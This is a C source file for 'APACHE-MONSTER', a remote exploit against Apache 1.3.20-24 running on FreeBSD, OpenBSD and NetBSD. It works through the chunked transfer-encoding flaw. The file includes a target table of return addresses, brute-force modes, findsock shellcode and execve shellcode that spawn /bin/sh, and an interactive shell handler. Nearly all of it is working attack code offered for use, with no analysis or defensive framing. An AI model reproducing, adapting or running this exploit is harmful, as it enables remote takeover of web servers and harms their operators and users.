#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/time.h>
int proc_rooted(int sock);
void sock_printf (int fd, char *fmt, ...);
#define MaXX(a,b) ((a) < (b) ? (b) : (a))
#define EXPLOIT_TIMEOUT         3
#define NUM_NOPS                6000
#define SEARCHINC               ((NUM_NOPS - 1) / 2)
#define NOP                     0x41
struct target
{       signed int offset;
        unsigned long retaddr;
        int numzeros;
        int numpop;
        int numret;
        unsigned long brute_start;
        unsigned long brute_end;
        char *description;
};
/* search space = ~ 4500 */
//#define BRUTE_OFFSET_HI               -146
#define BRUTE_OFFSET_HI         -146
#define BRUTE_OFFSET_LO         -134
#define BRUTE_NUMZEROS_HI       36
#define BRUTE_NUMZEROS_LO       24
#define BRUTE_NUMPOP_HI         6
#define BRUTE_NUMPOP_LO         2
#define BRUTE_NUMRET_HI         7
#define BRUTE_NUMRET_LO         6
struct target targets[] =
{       {-146, 0xbfbfda70, 36, 2, 6, 0xbfbfd000, 0xbfbfffff, "FreeBSD 4.x, Apache 1.3.20-24"},
        {-134, 0xbfbfdbb9, 30, 6, 6, 0xbfbfc000, 0xbfbfefff, "FreeBSD 4.x [-134]"},
        {-134, 0xbfbfdbb9, 30, 2, 6, 0xbfbfc000, 0xbfbfefff, "FreeBSD 4.x [-134,2 pops]"},
        {-146, 0xbfffe074, 36, 2, 6, 0xbfffa000, 0xbfffffff, "FreeBSD 3.x, Apache 1.3.20-24" },
        {-146, 0xefbfd56c, 36, 2, 6, 0xefbfa000, 0xefbfffff, "FreeBSD 2.x, Apache 1.3.20-24" },
        {-134, 0xdfbfbf23, 24, 5, 7, 0xdfbfb000, 0xdfbfbfff, "OpenBSD 3.x, Apache 1.3.20-24"},
        {-90, 0xbfbfc76f, 42, 6, 7, 0xbfbfa000, 0xbfbfffff, "NetBSD 1.5.x, Apache 1.3.20-24" }
};
/* bsd findsock+write+fcntl+read+jump code - fish stiqz*/
char findsock_shellcode[] =
"\x31\xc9\xb1\xff\x31\xd2\xb2\x10\x89\xe3\x29\xcb\x52\x89\xe2\x52"
"\x53\x51\x51\x31\xd2\x89\xce\x89\x74\x24\x04\x31\xc0\xb0\x1f\xcd"
"\x80\x39\xc2\x74\x04\x89\xf1\xe2\xec\x31\xc0\xb0\x04\x52\x50\x56"
"\x56\xb0\x5c\xcd\x80\xb9\x86\xcf\xcf\xf5\xf7\xd1\x51\x89\xe1\x31"
"\xc0\xb0\x04\x50\x51\x56\x50\xcd\x80\x31\xc0\xb0\xff\x29\xc1\x50"
"\x51\x56\x50\xb0\x03\xcd\x80\xff\xe1";
/* bsd dup+execve shellcode - fish stiqz */
char dupexecve_shellcode[] =
  "\x99"                        // cdq
  "\x52"                        // pushl %edx
  "\x6a\x01"                    // pushl $0x01
  "\x6a\x02"                    // pushl $0x02
  "\xb0\x61"                    // movb $0x61,%al
  "\x50"                        // pushl %eax
  "\xcd\x80"                    // int $0x80
  "\x52"                        // pushl %edx
  "\x68\xff\x02\x7a\x69"        // pushl $0x697a02ff
  "\x89\xe3"                    // movl %esp,%ebx
  "\x6a\x10"                    // push $0x10
  "\x53"                        // pushl %ebx
  "\x50"                        // pushl %eax
  "\x93"                        // xchg %eax,%ebx
  "\x31\xc0"                    // xorl %eax,%eax
  "\xb0\x68"                    // movb $0x68,%al
  "\x50"                        // pushl %eax
  "\xcd\x80"                    // int $0x80
  "\x53"                        // pushl %ebx
  "\xb0\x6a"                    // movb $0x6a,%al
  "\x50"                        // pushl %eax
  "\xcd\x80"                    // int $0x80
  "\x31\xc0"                    // xorl %eax,%eax
  "\x50"                        // pushl %eax
  "\x50"                        // pushl %eax
  "\x53"                        // pushl %ebx
  "\xb0\x1e"                    // movb $0x1e,%al
  "\x50"                        // pushl %eax
  "\xcd\x80"                    // int $0x80
  "\x93"                        // xchg %eax,%ebx
  "\x89\xc1"                    // movl %eax,%ecx
                                // looper:
  "\x31\xc0"                    // xor %eax,%eax
  "\x51"                        // pushl %ecx
  "\x53"                        // pushl %ebx
  "\xb0\x5a"                    // movb $0x5a,%al
  "\x50"                        // pushl %eax
  "\xcd\x80"                    // int $0x80
  "\x49"                        // decl %ecx
  "\x79\xf4"                    // jns looper
  "\x50"                        // pushl %eax
  "\x68\x2f\x2f\x73\x68"        // pushl $0x68732f2f
  "\x68\x2f\x62\x69\x6e"        // pushl $0x6e69622f
  "\x89\xe3"                    // movl %esp,%ebx
  "\x50"                        // pushl %eax
  "\x54"                        // pushl %esp
  "\x53"                        // pushl %ebx
  "\xb0\x3b"                    // movb $0x3b,%al
  "\x50"                        // pushl %eax
  "\xcd\x80";                   // int $0x80

int
proc_rooted(int sock) {
    char banner[] = "uname -a;\n";

    char buf[1024];
    fd_set fds;
    int r;
    if (write(sock, banner, strlen(banner)) < 0)
        return -1;

    for(;;)
    {
        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sock, &fds);
        select(MaXX(sock, fileno(stdin)) + 1, &fds, NULL, NULL, NULL);
        if(FD_ISSET(sock, &fds))
        {
            memset(buf, 0x0, sizeof(buf));
            r = read (sock, buf, sizeof(buf) - 1);
            if(r <= 0)
            {
                printf("Connection closed.\n");
                return 0;
            }
            printf("%s", buf);
        }
        if(FD_ISSET(fileno(stdin), &fds))
        {
            memset(buf, 0x0, sizeof(buf));
            read(fileno(stdin), buf, sizeof(buf) - 1);
            write(sock, buf, strlen(buf));
        }

    close(sock);
    return 0;
    }
}  int
check_shellcode(char *code, int size) {
    int i;
    int total = 0;
    for (i = 0; i < size; i++)
    {
        if (code[i] == '\r' || code[i] == '\n')
            total++;
    }
    return total;
}
int
main (int argc, char *argv[]) {
    struct sockaddr_in s_in;
    struct hostent *he;
    char nop_pool[NUM_NOPS + 1];
    char zero_pool[100];
    char buf[128];
    unsigned char runmode;
    int fd, i, j, port, tt, try = 0, nread;
    unsigned long retaddr;

    if (argc < 5)
    {
        fprintf (stderr, "APACHE-MONSTER by fish stiqz and yu0\n");
        fprintf (stderr, "Usage: %s <target> <port> <type> <mode>]\n\n", argv[0]);
        fprintf (stderr, "Mode is:\n");
        fprintf (stderr, "\tn: normal\n");
        fprintf (stderr, "\tb: regular brute force (range)\n");
        fprintf (stderr, "\ts: super brute force\n");
        fprintf (stderr, "Types:\n");
        for (i = 0; i < sizeof (targets) / sizeof (struct target); i++)
                fprintf (stderr, "\t%d. %s\n", i, targets[i].description);
        fprintf (stderr, "\n");
        exit (EXIT_FAILURE);
    }

    port = strtoul (argv[2], NULL, 0);
    tt = strtoul (argv[3], NULL, 0);
    runmode = *argv[4];
    if ((runmode != 'n') && (runmode != 'b') && (runmode != 's'))
    {
        fprintf (stderr, "Invalid operation mode!\n");
        exit (EXIT_FAILURE);
    }
    if (tt >= (sizeof (targets) / sizeof (struct target)))
    {
        fprintf (stderr, "Invalid target type!\n");
        exit (EXIT_FAILURE);
    }
    /* check the shellcode */
    if ((i = check_shellcode(findsock_shellcode,
                            sizeof(findsock_shellcode))) != 0)
    {
        printf ("findsock_shellcode contains %d bad characters.\n", i);
        exit (EXIT_FAILURE);
    }
    if ((i = check_shellcode(dupexecve_shellcode,
                            sizeof(dupexecve_shellcode))) != 0)
    {
        printf ("dupexecve_shellcode contains %d bad characters.\n", i);
        exit (EXIT_FAILURE);
    }
    if ((he = gethostbyname (argv[1])) == NULL)
    {
        herror ("gethostbyname");
        exit (EXIT_FAILURE);
    }
    memset (&nop_pool, 0, sizeof (nop_pool));
    memset (&nop_pool, NOP, NUM_NOPS);
    memset (&zero_pool, 0, sizeof (zero_pool));
    if (runmode == 'n')
        retaddr = targets[tt].retaddr;
    else
        retaddr = targets[tt].brute_start;
    if (runmode == 's')
    {
        targets[tt].offset = BRUTE_OFFSET_HI;
        targets[tt].numzeros = BRUTE_NUMZEROS_HI;
        targets[tt].numpop = BRUTE_NUMPOP_HI;
        targets[tt].numret = BRUTE_NUMRET_HI;
    }
    while (1)
    {
        if (retaddr > targets[tt].brute_end)
        {
                if (runmode == 'b')
                        break;
                if (runmode == 's')
                {
                        /* end of the line! */
                        if ((targets[tt].offset == BRUTE_OFFSET_LO) &&
                            (targets[tt].numzeros == BRUTE_NUMZEROS_LO) &&
                            (targets[tt].numpop == BRUTE_NUMPOP_HI) &&
                            (targets[tt].numret == BRUTE_NUMRET_LO))
                                break;
                        else
                        {
                                retaddr = targets[tt].brute_start;
                                targets[tt].numret--;
                        }
                }
        }
        /* god this sucks without nested loops */
        if (runmode == 's')
        {
                if (targets[tt].numret < BRUTE_NUMRET_LO)
                {
                        targets[tt].numret = BRUTE_NUMRET_HI;
                        targets[tt].numpop--;
                }
                else if (targets[tt].numpop < BRUTE_NUMPOP_LO)
                {
                        targets[tt].numpop = BRUTE_NUMPOP_HI;
                        targets[tt].numret = BRUTE_NUMRET_HI;
                        targets[tt].numzeros -= 2;
                }
                else if (targets[tt].numzeros < BRUTE_NUMZEROS_LO)
                {
                        targets[tt].numpop = BRUTE_NUMPOP_HI;
                        targets[tt].numret = BRUTE_NUMRET_HI;
                        targets[tt].numzeros = BRUTE_NUMZEROS_HI;
                        targets[tt].offset += 4;
                }
        }
        while ((memchr (&retaddr, '\r', 4)) || (memchr (&retaddr, '\n', 4)) ||
                (memchr (&retaddr, 0x0, 4)))
                retaddr++;

        if ((fd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
        {
            perror ("socket");
            exit (EXIT_FAILURE);
        }

        memset (&s_in, 0, sizeof (s_in));
        s_in.sin_family = AF_INET;
        s_in.sin_port = htons (port);
        memcpy (&s_in.sin_addr.s_addr, he->h_addr, sizeof (u_int32_t));
        printf ("... ");
        fflush (stdout);

        if (connect (fd, (struct sockaddr *) &s_in, sizeof(s_in)) < 0)
        {
            perror ("connect");
            exit (EXIT_FAILURE);
        }
        printf ("%.3d. trying retaddr 0x%.8lx [ecx off %d, %d 0s, %d pops, %d rets] ... ",
                ++try, retaddr, targets[tt].offset, targets[tt].numzeros,
                targets[tt].numpop, targets[tt].numret);
        fflush (stdout);

        sock_printf (fd, "GET / HTTP/1.1\r\n");
        sock_printf (fd, "Host: openwall.com\r\n");
        sock_printf (fd, "X-krad: ");
        sock_printf (fd, nop_pool);
        sock_printf (fd, "%s\r\n", findsock_shellcode);

        for (i = 0; i < targets[tt].numpop; i++)
        {
            sock_printf (fd, "X-AAAA: ");
            for (j = 0; j < targets[tt].numret; j++)
                sock_printf (fd, "%c%c%c%c",
                              (retaddr & 0xff),
                              ((retaddr & 0xff00) >> 8),
                              ((retaddr & 0xff0000) >> 16),
                              ((retaddr & 0xff000000) >> 24));
            send (fd, &zero_pool, targets[tt].numzeros, 0);
            sock_printf (fd, "\r\n");
        }

        sock_printf (fd, "Transfer-Encoding: chunked\r\n");
        sock_printf (fd, "\r\n%x\r\n", 5);
        sock_printf (fd, "BBBBB");
        sock_printf (fd, "\r\n%x\r\n", targets[tt].offset);
        /* Check to see if the shellcode was executed */
        if ((nread = read (fd, buf, sizeof(buf))) > 0 && strncmp(buf, "y00", 3) == 0)
        {
            printf ("yes\n");
            printf ("Exploit worked! Sending final shellcode...\n");
            sock_printf (fd, "%s\r\n", dupexecve_shellcode);
            if (proc_rooted (fd) == -1)
                printf ("Something went wrong!\n");
            else
                exit (EXIT_SUCCESS);
        }
        else if (nread > 0)
                printf ("probably not vulnerable!\n");
        printf ("nope\n");
        if (runmode == 'n')
                break;
        else
                retaddr += SEARCHINC;
        close (fd);
    }

    exit (EXIT_SUCCESS);
}
void
sock_printf (int fd, char *fmt, ...) {
    va_list ap;
    char buf[8192];

    memset (&buf, 0, sizeof (buf));
    va_start (ap, fmt);
    vsnprintf (buf, (sizeof (buf) - 1), fmt, ap);
    if (send (fd, buf, strlen (buf), 0) != strlen (buf))
    {
        perror ("send");
        exit (EXIT_FAILURE);
    }
    return;
}
